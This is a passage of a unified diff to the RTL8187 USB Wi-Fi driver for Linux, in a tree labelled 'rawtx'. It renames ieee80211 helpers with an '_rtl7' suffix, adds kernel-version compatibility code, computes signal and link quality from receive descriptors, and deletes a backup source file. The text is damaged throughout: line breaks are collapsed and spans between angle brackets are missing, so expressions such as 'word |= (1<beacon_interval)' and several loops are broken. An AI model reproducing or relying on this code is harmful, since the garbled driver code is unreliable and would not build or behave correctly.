read_nic_word(dev, BRSR); word &= ~BRSR_MBR_8185; - + for(i=0;i<=basic_rate;i++) word |= (1<beacon_interval); rtl8187_net_update(dev); /*update timing params*/ @@ -1553,24 +1660,24 @@ short rtl8180_init(struct net_device *dev) { - - struct r8180_priv *priv = ieee80211_priv(dev); + + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int i, j; u16 word; - int ch; + int ch, chans; //u16 version; - //u8 hw_version; - //u8 config3; - + u8 hw_version; + u8 config3; + //FIXME: these constants are placed in a bad pleace. // priv->txbuffsize = 1024; // priv->txringcount = 32; // priv->rxbuffersize = 1024; -// priv->rxringcount = 32; +// priv->rxringcount = 32; // priv->txbeaconcount = 3; // priv->rx_skb_complete = 1; - //priv->txnp_pending.ispending=0; + //priv->txnp_pending.ispending=0; /* ^^ the SKB does not containt a partial RXed * packet (is empty) */ @@ -1580,15 +1687,24 @@ return -1; } ch=channels; + chans=0; + for (i=1; i<=14; i++) { + if( (u8)(ch & 0x01) ) chans++; + ch >>= 1; + } + DMESG("Enabling %d channels.", chans); + ch=channels; // set channels 1..14 allowed in given locale for (i=1; i<=14; i++) { (priv->ieee80211->channel_map)[i] = (u8)(ch & 0x01); ch >>= 1; } //memcpy(priv->stats,0,sizeof(struct Stats)); - + //priv->irq_enabled=0; - + + priv->dev = dev; + // priv->stats.rxdmafail=0; priv->stats.txrdu=0; // priv->stats.rxrdu=0; @@ -1612,33 +1728,37 @@ // priv->stats.txbeaconerr=0; priv->stats.txlperr=0; priv->stats.txlpokint=0; - + priv->ieee80211->iw_mode = IW_MODE_INFRA; - + priv->retry_rts = DEFAULT_RETRY_RTS; priv->retry_data = DEFAULT_RETRY_DATA; priv->ieee80211->rate = 110; //11 mbps priv->ieee80211->short_slot = 1; - priv->ieee80211->mode = IEEE_G; + priv->ieee80211->mode = IEEE_G|IEEE_B; priv->promisc = (dev->flags & IFF_PROMISC) ? 1:0; spin_lock_init(&priv->tx_lock); +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) INIT_WORK(&priv->reset_wq,(void(*)(void*)) rtl8180_restart,dev); +#else + INIT_WORK(&priv->reset_wq, rtl8180_restart); +#endif sema_init(&priv->wx_sem,1); tasklet_init(&priv->irq_rx_tasklet, (void(*)(unsigned long))rtl8180_irq_rx_tasklet, (unsigned long)priv); - //priv->ieee80211->func = + //priv->ieee80211->func = // kmalloc(sizeof(struct ieee80211_helper_functions),GFP_KERNEL); //memset(priv->ieee80211->func, 0, // sizeof(struct ieee80211_helper_functions)); - priv->ieee80211->current_network.beacon_interval = DEFAULT_BEACONINTERVAL; + priv->ieee80211->current_network.beacon_interval = DEFAULT_BEACONINTERVAL; priv->ieee80211->iw_mode = IW_MODE_INFRA; - priv->ieee80211->softmac_features = IEEE_SOFTMAC_SCAN | - IEEE_SOFTMAC_ASSOCIATE | IEEE_SOFTMAC_PROBERQ | + priv->ieee80211->softmac_features = IEEE_SOFTMAC_SCAN | + IEEE_SOFTMAC_ASSOCIATE | IEEE_SOFTMAC_PROBERQ | IEEE_SOFTMAC_PROBERS | IEEE_SOFTMAC_TX_QUEUE | /*IEEE_SOFTMAC_BEACONS | */IEEE_SOFTMAC_SINGLE_QUEUE; - + priv->ieee80211->active_scan = 1; priv->ieee80211->rate = 110; //11 mbps priv->ieee80211->modulation = IEEE80211_CCK_MODULATION | IEEE80211_OFDM_MODULATION; @@ -1655,51 +1775,51 @@ priv->ieee80211->data_hard_resume = rtl8180_data_hard_resume; //priv->ieee80211->start_send_beacons = NULL; //priv->ieee80211->stop_send_beacons = NULL; - + priv->ieee80211->fts = DEFAULT_FRAG_THRESHOLD; - + priv->card_8185 = 2; priv->phy_ver = 2; priv->card_type = USB; - + #if 0 hw_version =( read_nic_dword(dev, TCR) & TCR_HWVERID_MASK)>>TCR_HWVERID_SHIFT; - + switch (hw_version){ case HW_VERID_R8185_ABC: - DMESG("MAC controller is a RTL8185 b/g"); + DMESG("MAC controller is a RTL8185 b/g"); priv->card_8185 = 1; /* you should not find a card with 8225 PHY ver < C*/ priv->phy_ver = 2; break; - + case HW_VERID_R8185_D: - DMESG("MAC controller is a RTL8185 b/g (V. D)"); + DMESG("MAC controller is a RTL8185 b/g (V. D)"); priv->card_8185 = 2; /* you should not find a card with 8225 PHY ver < C*/ priv->phy_ver = 2; break; - + case HW_VERID_R8180_ABCD: DMESG("MAC controller is a RTL8180"); priv->card_8185 = 0; break; - + case HW_VERID_R8180_F: DMESG("MAC controller is a RTL8180 (v. F)"); priv->card_8185 = 0; break; - + default: DMESGW("MAC chip not recognized: version %x. Assuming RTL8180",hw_version); priv->card_8185 = 0; break; } - - + + /* you should not found any 8185 Ver B Card */ priv->card_8185_Bversion = 0; - + config3 = read_nic_byte(dev, CONFIG3); if(config3 & 0x8){ priv->card_type = CARDBUS; @@ -1715,13 +1835,19 @@ #endif priv->enable_gpio0 = 0; - + + hw_version =( read_nic_dword(dev, TCR) & TCR_HWVERID_MASK)>>TCR_HWVERID_SHIFT; + config3 = read_nic_byte(dev, CONFIG3); + + DMESG("MAC chip version: %02X", hw_version); + DMESG("Card type: %02X", config3); + /* commented out just because we already do this when resetting the card andrea 20050924 */ #if 0 - + u8 txcr, txreg50; u32 txreg54, txreg60; @@ -1757,8 +1883,8 @@ // DMESG("<>", txcr); #endif - - /*the eeprom type is stored in RCR register bit #6 */ + + /*the eeprom type is stored in RCR register bit #6 */ if (RCR_9356SEL & read_nic_dword(dev, RCR)){ priv->epromtype=EPROM_93c56; DMESG("Reported EEPROM chip is a 93c56 (2Kbit)"); @@ -1766,58 +1892,73 @@ priv->epromtype=EPROM_93c46; DMESG("Reported EEPROM chip is a 93c46 (1Kbit)"); } - + dev->get_stats = rtl8180_stats; - + dev->dev_addr[0]=eprom_read(dev,MAC_ADR) & 0xff; dev->dev_addr[1]=(eprom_read(dev,MAC_ADR) & 0xff00)>>8; dev->dev_addr[2]=eprom_read(dev,MAC_ADR+1) & 0xff; dev->dev_addr[3]=(eprom_read(dev,MAC_ADR+1) & 0xff00)>>8; dev->dev_addr[4]=eprom_read(dev,MAC_ADR+2) & 0xff; dev->dev_addr[5]=(eprom_read(dev,MAC_ADR+2) & 0xff00)>>8; - + DMESG("Card MAC address is "MAC_FMT, MAC_ARG(dev->dev_addr)); - + for(i=1,j=0; i<6; i+=2,j++){ - + word = eprom_read(dev,EPROM_TXPW0 + j); priv->chtxpwr[i]=word & 0xf; priv->chtxpwr_ofdm[i]=(word & 0xf0)>>4; priv->chtxpwr[i+1]=(word & 0xf00)>>8; priv->chtxpwr_ofdm[i+1]=(word & 0xf000)>>12; } - + for(i=1,j=0; i<4; i+=2,j++){ - + word = eprom_read(dev,EPROM_TXPW1 + j); priv->chtxpwr[i+6]=word & 0xf; priv->chtxpwr_ofdm[i+6]=(word & 0xf0)>>4; priv->chtxpwr[i+6+1]=(word & 0xf00)>>8; priv->chtxpwr_ofdm[i+6+1]=(word & 0xf000)>>12; } - + for(i=1,j=0; i<4; i+=2,j++){ - + word = eprom_read(dev,EPROM_TXPW2 + j); priv->chtxpwr[i+6+4]=word & 0xf; priv->chtxpwr_ofdm[i+6+4]=(word & 0xf0)>>4; priv->chtxpwr[i+6+4+1]=(word & 0xf00)>>8; priv->chtxpwr_ofdm[i+6+4+1]=(word & 0xf000)>>12; } - - + + priv->rf_chip = 0xff & eprom_read(dev,EPROM_RFCHIPID); - + +#ifdef DEBUG_TX_POWER + dump_tx_power(dev); +#endif + + DMESG("RF Chip ID: %02X", priv->rf_chip); + word = eprom_read(dev,EPROM_TXPW_BASE); priv->cck_txpwr_base = word & 0xf; priv->ofdm_txpwr_base = (word>>4) & 0xf; - + + priv->txpwr_max = 0; + for(i=1; i<15; i++) + { + if(priv->chtxpwr[i] > priv->txpwr_max) priv->txpwr_max = priv->chtxpwr[i]; + if(priv->chtxpwr_ofdm[i] > priv->txpwr_max) priv->txpwr_max = priv->chtxpwr_ofdm[i]; + priv->chtxpwr_orig[i] = priv->chtxpwr[i]; + priv->chtxpwr_ofdm_orig[i] = priv->chtxpwr_ofdm[i]; + } + /* check RF frontend chipset */ - + switch (priv->rf_chip) { - + case EPROM_RFCHIPID_RTL8225U: - + DMESG("Card reports RF frontend Realtek 8225"); DMESGW("This driver has EXPERIMENTAL support for this chipset."); DMESGW("use it with care and at your own risk and"); @@ -1834,28 +1975,28 @@ DMESG("This seems a legacy 1st version radio"); } priv->rf_close = rtl8225_rf_close; - + priv->max_sens = RTL8225_RF_MAX_SENS; priv->sens = RTL8225_RF_DEF_SENS; break; - + default: DMESGW("Unknown RF module %x",priv->rf_chip); DMESGW("Exiting..."); return -1; - + } - + // DMESG("Energy threshold: %x",priv->cs_treshold); DMESG("PAPE from CONFIG2: %x",read_nic_byte(dev,CONFIG2)&0x7); //DMESG("CONFIG2: %x ECONFIG2: %x",read_nic_byte(dev,CONFIG2),eprom_read(dev,EPROM_CONFIG2)); - - if(rtl8187_usb_initendpoints(dev)!=0){ + + if(rtl8187_usb_initendpoints(dev)!=0){ DMESG("Endopoints initialization failed"); return -ENOMEM; } -#if 0 - if (0!=alloc_rx_desc_ring(dev, priv->rxbuffersize, priv->rxringcount)) +#if 0 + if (0!=alloc_rx_desc_ring(dev, priv->rxbuffersize, priv->rxringcount)) return -ENOMEM; if (0!=alloc_tx_desc_ring(dev, priv->txbuffsize, priv->txringcount, @@ -1869,16 +2010,16 @@ if (0!=alloc_tx_desc_ring(dev, priv->txbuffsize, priv->txringcount, TX_LOWPRIORITY_RING_ADDR)) return -ENOMEM; - - + + if (0!=alloc_tx_beacon_desc_ring(dev, priv->txbeaconcount)) return -ENOMEM; #endif - + #ifdef DEBUG_EPROM dump_eprom(dev); -#endif +#endif return 0; } @@ -1898,7 +2039,7 @@ rtl8180_set_mode(dev, EPROM_CMD_CONFIG); conf3 = read_nic_byte(dev, CONFIG3); - write_nic_byte(dev, CONFIG3, conf3 | (1<> 24)); write_nic_byte(dev, 0x7e, ((phyw & 0x00ff0000) >> 16)); write_nic_byte(dev, 0x7d, ((phyw & 0x0000ff00) >> 8)); write_nic_byte(dev, 0x7c, ((phyw & 0x000000ff) )); //read_nic_dword(dev, PHY_ADR); -#if 0 +#if 0 for(i=0;i<10;i++){ write_nic_dword(dev, PHY_ADR, 0xffffff7f & phyw); phyr = read_nic_byte(dev, PHY_READ); if(phyr == (data&0xff)) break; - + } #endif /* this is ok to fail when we write AGC table. check for AGC table might be @@ -1988,60 +2129,60 @@ void rtl8180_adapter_start(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); //u32 anaparam; //u8 config3; - + //rtl8180_rtx_disable(dev); rtl8180_reset(dev); write_nic_byte(dev,0x85,0); write_nic_byte(dev,0x91,0); - + /* light blink! */ write_nic_byte(dev,0x85,4); write_nic_byte(dev,0x91,1); write_nic_byte(dev,0x90,0); - + priv->irq_mask = 0xffff; /* priv->dma_poll_mask = 0; priv->dma_poll_mask|= (1<dev_addr)[0]); write_nic_word(dev, MAC4, ((u32*)dev->dev_addr)[1] & 0xffff ); rtl8180_set_mode(dev, EPROM_CMD_NORMAL); rtl8180_update_msr(dev); - + rtl8180_set_mode(dev, EPROM_CMD_CONFIG); - + write_nic_word(dev,0xf4,0xffff); write_nic_byte(dev, - CONFIG1, (read_nic_byte(dev,CONFIG1) & 0x3f) | 0x80); + CONFIG1, (read_nic_byte(dev,CONFIG1) & 0x3f) | 0x80); rtl8180_set_mode(dev,EPROM_CMD_NORMAL); - - write_nic_dword(dev,INT_TIMEOUT,0); + + write_nic_dword(dev,INT_TIMEOUT,0); #ifdef DEBUG_REGISTERS - rtl8180_dump_reg(dev); + rtl8180_dump_reg(dev); #endif - - - write_nic_byte(dev, WPA_CONFIG, 0); + + + write_nic_byte(dev, WPA_CONFIG, 0); write_nic_byte(dev, RATE_FALLBACK, 0x81); rtl8187_set_rate(dev); - - priv->rf_init(dev); + + priv->rf_init(dev); if(priv->rf_set_sens != NULL) - priv->rf_set_sens(dev,priv->sens); - + priv->rf_set_sens(dev,priv->sens); + write_nic_word(dev,0x5e,1); #if 1 @@ -2054,13 +2195,13 @@ write_nic_byte(dev, 0xff, 0x60); write_nic_word(dev,0x5e,0); - - + + rtl8180_irq_enable(dev); /*DMESG ("lfree %d",get_curr_tx_free_desc(dev,LOW_PRIORITY)); - + DMESG ("nfree %d",get_curr_tx_free_desc(dev,NORM_PRIORITY)); - + DMESG ("hfree %d",get_curr_tx_free_desc(dev,HI_PRIORITY)); if(check_nic_enought_desc(dev,NORM_PRIORITY)) DMESG("NORM OK"); if(check_nic_enought_desc(dev,HI_PRIORITY)) DMESG("HI OK"); @@ -2077,8 +2218,8 @@ void rtl8180_start_tx_beacon(struct net_device *dev) { int i; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - u16 word; + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + u16 word; DMESG("Enabling beacon TX"); //write_nic_byte(dev, 0x42,0xe6);// TCR //rtl8180_init_beacon(dev); @@ -2091,41 +2232,41 @@ //write_nic_word(dev,0x7a,0); //write_nic_word(dev,0x7a,0x8000); - + word = read_nic_word(dev, BcnItv); word &= ~BcnItv_BcnItv; // clear Bcn_Itv write_nic_word(dev, BcnItv, word); - write_nic_word(dev, AtimWnd, + write_nic_word(dev, AtimWnd, read_nic_word(dev, AtimWnd) &~ AtimWnd_AtimWnd); - + word = read_nic_word(dev, BintrItv); word &= ~BintrItv_BintrItv; - - //word |= priv->ieee80211->beacon_interval * + + //word |= priv->ieee80211->beacon_interval * // ((priv->txbeaconcount > 1)?(priv->txbeaconcount-1):1); // FIXME:FIXME check if correct ^^ worked with 0x3e8; - + write_nic_word(dev, BintrItv, word); - + //write_nic_word(dev,0x2e,0xe002); //write_nic_dword(dev,0x30,0xb8c7832e); for(i=0; iieee80211->beacon_cell_ssid[i]); - + // rtl8180_update_msr(dev); - + //write_nic_byte(dev,CONFIG4,3); /* !!!!!!!!!! */ - + rtl8180_set_mode(dev, EPROM_CMD_NORMAL); - + rtl8180_irq_enable(dev); - + /* VV !!!!!!!!!! VV*/ /* rtl8180_set_mode(dev,EPROM_CMD_CONFIG); - write_nic_byte(dev,0x9d,0x00); + write_nic_byte(dev,0x9d,0x00); rtl8180_set_mode(dev,EPROM_CMD_NORMAL); */ } @@ -2135,137 +2276,138 @@ ***************************************************************************/ static struct net_device_stats *rtl8180_stats(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + return &priv->ieee80211->stats; } int _rtl8180_up(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); priv->up=1; - - //DMESG("Bringing up iface"); + +// DMESG("Bringing up iface"); rtl8180_adapter_start(dev); - rtl8180_rx_enable(dev); - rtl8180_tx_enable(dev); - - ieee80211_softmac_start_protocol(priv->ieee80211); - - ieee80211_reset_queue(priv->ieee80211); + ieee80211_softmac_start_protocol_rtl7(priv->ieee80211); + ieee80211_reset_queue_rtl7(priv->ieee80211); if(!netif_queue_stopped(dev)) netif_start_queue(dev); else netif_wake_queue(dev); - return 0; } int rtl8180_open(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int ret; - + down(&priv->wx_sem); + ret = rtl8180_up(dev); up(&priv->wx_sem); return ret; - + } int rtl8180_up(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if (priv->up == 1) return -1; - + return _rtl8180_up(dev); } int rtl8180_close(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int ret; - + down(&priv->wx_sem); - + ret = rtl8180_down(dev); - + up(&priv->wx_sem); - + return ret; } int rtl8180_down(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if (priv->up == 0) return -1; - + priv->up=0; /* FIXME */ if (!netif_queue_stopped(dev)) netif_stop_queue(dev); - + rtl8180_rtx_disable(dev); rtl8180_irq_disable(dev); - ieee80211_softmac_stop_protocol(priv->ieee80211); - + ieee80211_softmac_stop_protocol_rtl7(priv->ieee80211); + return 0; } void rtl8180_commit(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if (priv->up == 0) return ; - - ieee80211_softmac_stop_protocol(priv->ieee80211); - + + ieee80211_softmac_stop_protocol_rtl7(priv->ieee80211); + rtl8180_irq_disable(dev); rtl8180_rtx_disable(dev); _rtl8180_up(dev); } +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void rtl8180_restart(struct work_struct *work) +{ + struct r8180_priv *priv = container_of(work, struct r8180_priv, reset_wq); + struct net_device *dev = priv->dev; +#else void rtl8180_restart(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); +#endif down(&priv->wx_sem); - rtl8180_commit(dev); - + up(&priv->wx_sem); } static void r8180_set_multicast(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); short promisc; //down(&priv->wx_sem); - + /* FIXME FIXME */ - + promisc = (dev->flags & IFF_PROMISC) ? 1:0; - + if (promisc != priv->promisc) // rtl8180_commit(dev); - + priv->promisc = promisc; - + //schedule_work(&priv->reset_wq); //up(&priv->wx_sem); } @@ -2273,17 +2415,17 @@ int r8180_set_mac_adr(struct net_device *dev, void *mac) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); struct sockaddr *addr = mac; - + down(&priv->wx_sem); - + memcpy(dev->dev_addr, addr->sa_data, ETH_ALEN); - + schedule_work(&priv->reset_wq); - + up(&priv->wx_sem); - + return 0; } @@ -2291,16 +2433,18 @@ /* based on ipw2200 driver */ int rtl8180_ioctl(struct net_device *dev, struct ifreq *rq, int cmd) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + struct iwreq *wrq; + int ret; + down(&priv->wx_sem); - - struct iwreq *wrq = (struct iwreq *)rq; - - int ret=-1; + + wrq = (struct iwreq *)rq; + + ret=-1; switch (cmd) { case RTL_IOCTL_WPA_SUPPLICANT: - ret = ieee80211_wpa_supplicant_ioctl(priv->ieee80211, &wrq->u.data); + ret = ieee80211_wpa_supplicant_ioctl_rtl7(priv->ieee80211, &wrq->u.data); break; default: @@ -2309,7 +2453,7 @@ } up(&priv->wx_sem); - + return ret; } @@ -2320,10 +2464,11 @@ struct net_device *dev = (struct net_device*)rx_urb->context; int status,len,flen; struct sk_buff *skb; - u32 *desc; - + u8 *desc; + u8 signal,quality,rate; + //DMESG("rtl8187_rx_isr"); - + struct ieee80211_rx_stats stats = { .signal = 0, .noise = -98, @@ -2332,43 +2477,109 @@ .freq = IEEE80211_24GHZ_BAND, }; + //DMESG("RX %d ",rx_urb->status); status = rx_urb->status; if(status == 0){ - + len = rx_urb->actual_length; - // len = len - 4 - 15 - 1; /* CRC, DESC, SEPARATOR*/ + // len = len - 4 - 15 - 1; /* CRC, DESC, SEPARATOR*/ len -= 4*4;/* 4 dword and 4 byte CRC */ - +#if 0 desc = (u32*)(rx_urb->transfer_buffer + len); - + flen = desc[0] & 0xfff; - + if( flen <= rx_urb->actual_length){ - - stats.signal = (desc[1] & 0x7f00)>>8; - stats.noise = desc[1] &0xff; - stats.rate = desc[0] >> 20 & 0xf; + + //stats.signal = (desc[1] & 0x7f00)>>8; + //stats.noise = desc[1] &0xff; + signal=(desc[1]& (0xff0000))>>16; + signal=(signal&0xfe)>>1; // Modify by hikaru 6.6 + + quality=(desc[1] & (0xff)); + + rate=(desc[0] &((1<<23)|(1<<22)|(1<<21)|(1<<20)))>>20; + // printk(KERN_INFO "rate is %d!\n",rate); + stats.rate = rtl8180_rate2rate(rate); + // printk(KERN_INFO "stats.rate is %d!\n",stats.rate); + //stats.rate = desc[0] >> 20 & 0xf; stats.mac_time[0] = desc[2]; stats.mac_time[1] = desc[3]; +#endif + + desc = rx_urb->transfer_buffer + len; + + flen = ((desc[1] & 0x0f) << 8) + (desc[0] & 0xff); + + if( flen <= rx_urb->actual_length){ + //stats.signal = (desc[1] & 0x7f00)>>8; + //stats.noise = desc[1] &0xff; + signal=(desc[6]& 0xfe)>>1; + //signal=(signal&0xfe)>>1; // Modify by hikaru 6.6 + + quality=desc[4] & 0xff; + + //rate=(desc[2] &((1<<7)|(1<<6)|(1<<5)|(1<<4)))>>4; + rate=(desc[2] & 0xf0)>>4; + // printk(KERN_INFO "rate is %d!\n",rate); + stats.rate = rtl8180_rate2rate(rate); + // printk(KERN_INFO "stats.rate is %d!\n",stats.rate); + //stats.rate = desc[0] >> 20 & 0xf; + stats.mac_time[0] = desc[8] + (desc[9]<<8) + (desc[10]<<16) + (desc[11]<<24); + stats.mac_time[1] = desc[12] + (desc[13]<<8) + (desc[14]<<16) + (desc[15]<<24); + + + //calculate link quality begin + if(!rtl8180_IsWirelessBMode(stats.rate) ) + { // OFDM rate. + if(signal>90) + signal=90; + else if(signal<25) + signal=25; + signal = (90-signal)*100/65; + } + else + { // CCK rate. + if(signal>95) + signal = 95; + else if(signal<30) + signal = 30; + signal =(95-signal )*100/65; + } + priv->wstats.qual.level = signal; + // printk(KERN_INFO "signal is %d!\n",signal); + if(quality > 64) + priv ->wstats.qual.qual = 0; + else + priv ->wstats.qual.qual = ((64-quality) * 100) / 64; // SQ value is the SIGNAL_QUALITY returned to IORequest, + //and this value only appear when STA is associated to AP or + // STA is in IBSS mode + // printk(KERN_INFO "quality is %d!\n",priv->wstats.qual.qual); + priv->wstats.qual.noise = 100 - priv ->wstats.qual.qual; + priv->wstats.qual.updated = 7; + if(priv->ieee80211->iw_mode == IW_MODE_MONITOR) + { + stats.signal = priv->wstats.qual.level; + stats.noise = priv->wstats.qual.noise; + } + //calculate link quality end skb = dev_alloc_skb(flen-4); - //skb_reserve(skb,2); - if(skb){ + if(skb){ memcpy(skb_put(skb,flen-4), rx_urb->transfer_buffer,flen -4); - + #ifdef DUMP_RX int i; for(i=0;itransfer_buffer))[i]); printk("------RATE %x:w---------------\n",stats.rate); - + #endif priv->stats.rxok++; // priv->rxskb = skb; // priv->tempstats = &stats; - - if(!ieee80211_rx(priv->ieee80211, + if(!ieee80211_rx_rtl7(priv->ieee80211, skb, &stats)) dev_kfree_skb_any(skb); } @@ -2376,9 +2587,8 @@ }else{ priv->stats.rxstaterr++; priv->ieee80211->stats.rx_errors++; - } - + if(status != -ENOENT)rtl8187_rx_urbsubmit(dev,rx_urb); else DMESG("RX process aborted due to explicit shutdown"); } @@ -2396,20 +2606,22 @@ struct r8180_priv *priv= NULL; struct usb_device *udev = interface_to_usbdev(intf); -//printk("===> rtl8187_usb_probe()\n"); - - dev = alloc_ieee80211(sizeof(struct r8180_priv)); - +//printk("===> rtl8187_usb_probe()\n"); + + dev = alloc_ieee80211_rtl7(sizeof(struct r8180_priv)); + +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,24) SET_MODULE_OWNER(dev); - usb_set_intfdata(intf, dev); - +#endif + usb_set_intfdata(intf, dev); + SET_NETDEV_DEV(dev, &intf->dev); - priv = ieee80211_priv(dev); + priv = ieee80211_priv_rtl7(dev); priv->ieee80211 = netdev_priv(dev); - + priv->udev=udev; - + dev->open = rtl8180_open; dev->stop = rtl8180_close; //dev->hard_start_xmit = rtl8180_8023_hard_start_xmit; @@ -2418,41 +2630,46 @@ dev->do_ioctl = rtl8180_ioctl; dev->set_multicast_list = r8180_set_multicast; dev->set_mac_address = r8180_set_mac_adr; +#if WIRELESS_EXT >= 12 +#if WIRELESS_EXT < 17 dev->get_wireless_stats = r8180_get_wireless_stats; +#endif + dev->wireless_handlers = (struct iw_handler_def *) &r8180_wx_handlers_def; +#endif dev->type=ARPHRD_ETHER; - + if (dev_alloc_name(dev, ifname) < 0){ DMESG("Oops: devname already taken! Trying wlan%%d...\n"); ifname = "wlan%d"; dev_alloc_name(dev, ifname); } - + // dev->open=rtl8180_init; - - if(rtl8180_init(dev)!=0){ + + if(rtl8180_init(dev)!=0){ DMESG("Initialization failed"); goto fail; } - + netif_carrier_off(dev); netif_stop_queue(dev); - + register_netdev(dev); - + rtl8180_proc_init_one(dev); - - + + DMESG("Driver probe completed\n"); - return 0; + return 0; + - fail: - free_ieee80211(dev); - + free_ieee80211_rtl7(dev); + DMESG("wlan driver load failed\n"); - + return -ENODEV; - + } @@ -2461,13 +2678,13 @@ struct r8180_priv *priv; struct net_device *dev = usb_get_intfdata(intf); if(dev){ - + unregister_netdev(dev); - - priv=ieee80211_priv(dev); - + + priv=ieee80211_priv_rtl7(dev); + rtl8180_proc_remove_one(dev); - + rtl8180_down(dev); priv->rf_close(dev); //rtl8180_rtx_disable(dev); @@ -2478,12 +2695,12 @@ } // pci_disable_device(pdev); - free_ieee80211(dev); + free_ieee80211_rtl7(dev); DMESG("wlan driver removed\n"); } -static int __init rtl8187_usb_module_init(void) +static int __init rtl8187_usb_module_init_rtl7(void) { printk(KERN_INFO "\nLinux kernel driver for RTL8187 \ based WLAN cards\n"); @@ -2495,7 +2712,7 @@ } -static void __exit rtl8187_usb_module_exit(void) +static void __exit rtl8187_usb_module_exit_rtl7(void) { usb_deregister(&rtl8187_usb_driver); @@ -2508,14 +2725,14 @@ { unsigned long flags; short enough_desc; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + spin_lock_irqsave(&priv->tx_lock,flags); enough_desc = check_nic_enought_desc(dev,pri); - spin_unlock_irqrestore(&priv->tx_lock,flags); - + spin_unlock_irqrestore(&priv->tx_lock,flags); + if(enough_desc) - ieee80211_wake_queue(priv->ieee80211); + ieee80211_wake_queue_rtl7(priv->ieee80211); } @@ -2523,5 +2740,5 @@ /*************************************************************************** ------------------- module init / exit stubs ---------------- ****************************************************************************/ -module_init(rtl8187_usb_module_init); -module_exit(rtl8187_usb_module_exit); +module_init(rtl8187_usb_module_init_rtl7); +module_exit(rtl8187_usb_module_exit_rtl7); diff -Naur rtl8187_linux_26.1010.0622.2006/beta-8187/r8187_core.c~ rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8187_core.c~ --- rtl8187_linux_26.1010.0622.2006/beta-8187/r8187_core.c~ 2006-06-22 07:40:10.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8187_core.c~ 1970-01-01 01:00:00.000000000 +0100 @@ -1,2527 +0,0 @@ -/* - This is part of rtl8187 OpenSource driver - v 0.1 - Copyright (C) Andrea Merello 2005 - Released under the terms of GPL (General Public License) - - - Parts of this driver are based on the rtl8180 driver skeleton - from Patric Schenke & Andres Salomon. - - Parts of this driver are based on the Intel Pro Wireless 2*00 GPL drivers. - - some ideas might be derived from David Young rtl8180 netbsd driver. - - Parts of the usb code are from the r8150.c driver in linux kernel - - Some ideas borrowed from the 8139too.c driver included in linux kernel. - - We (I?) want to thanks the Authors of those projecs and also the - Ndiswrapper's project Authors. - - A special big thanks goes also to Realtek corp. for their help in my - attempt to add RTL8187 and RTL8225 support, and to David Young also. - - - Please note that this file is a modified version from rtl8180-sa2400 - drv. So some other people have contributed to this project, and they are - thanked in the rtl8180-sa2400 CHANGELOG. -*/ - -#ifndef CONFIG_FORCE_HARD_FLOAT -double __floatsidf (int i) { return i; } -unsigned int __fixunsdfsi (double d) { return d; } -double __adddf3(double a, double b) { return a+b; } -double __addsf3(float a, float b) { return a+b; } -double __subdf3(double a, double b) { return a-b; } -double __extendsfdf2(float a) {return a;} -#endif - -#undef LOOP_TEST -#undef DUMP_RX -#undef DUMP_TX -#undef DEBUG_TX_DESC2 -#undef RX_DONT_PASS_UL -#undef DEBUG_EPROM -#undef DEBUG_RX_VERBOSE -#undef DUMMY_RX -#undef DEBUG_ZERO_RX -#undef DEBUG_RX_SKB -#undef DEBUG_TX_FRAG -#undef DEBUG_RX_FRAG -#undef DEBUG_TX_FILLDESC -#undef DEBUG_TX -#undef DEBUG_IRQ -#undef DEBUG_RX -#undef DEBUG_RXALLOC -#undef DEBUG_REGISTERS -#undef DEBUG_RING -#undef DEBUG_IRQ_TASKLET -#undef DEBUG_TX_ALLOC -#undef DEBUG_TX_DESC - -//#define CONFIG_RTL8180_IO_MAP - -#include "r8180_hw.h" -#include "r8187.h" -#include "r8180_rtl8225.h" /* RTL8225 Radio frontend */ -#include "r8180_93cx6.h" /* Card EEPROM */ -#include "r8180_wx.h" - - -// FIXME: check if 2.6.7 is ok -#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,7)) -#define usb_kill_urb usb_unlink_urb -#endif - -#ifdef CONFIG_RTL8180_PM -#include "r8180_pm.h" -#endif - -#ifndef USB_VENDOR_ID_REALTEK -#define USB_VENDOR_ID_REALTEK 0x0bda -#endif -#ifndef USB_VENDOR_ID_NETGEAR -#define USB_VENDOR_ID_NETGEAR 0x0846 -#endif - -static struct usb_device_id rtl8187_usb_id_tbl[] = { - {USB_DEVICE(USB_VENDOR_ID_REALTEK, 0x8187)}, - {USB_DEVICE(USB_VENDOR_ID_NETGEAR, 0x6100)}, - {USB_DEVICE(USB_VENDOR_ID_NETGEAR, 0x6a00)}, - - {} -}; - -static 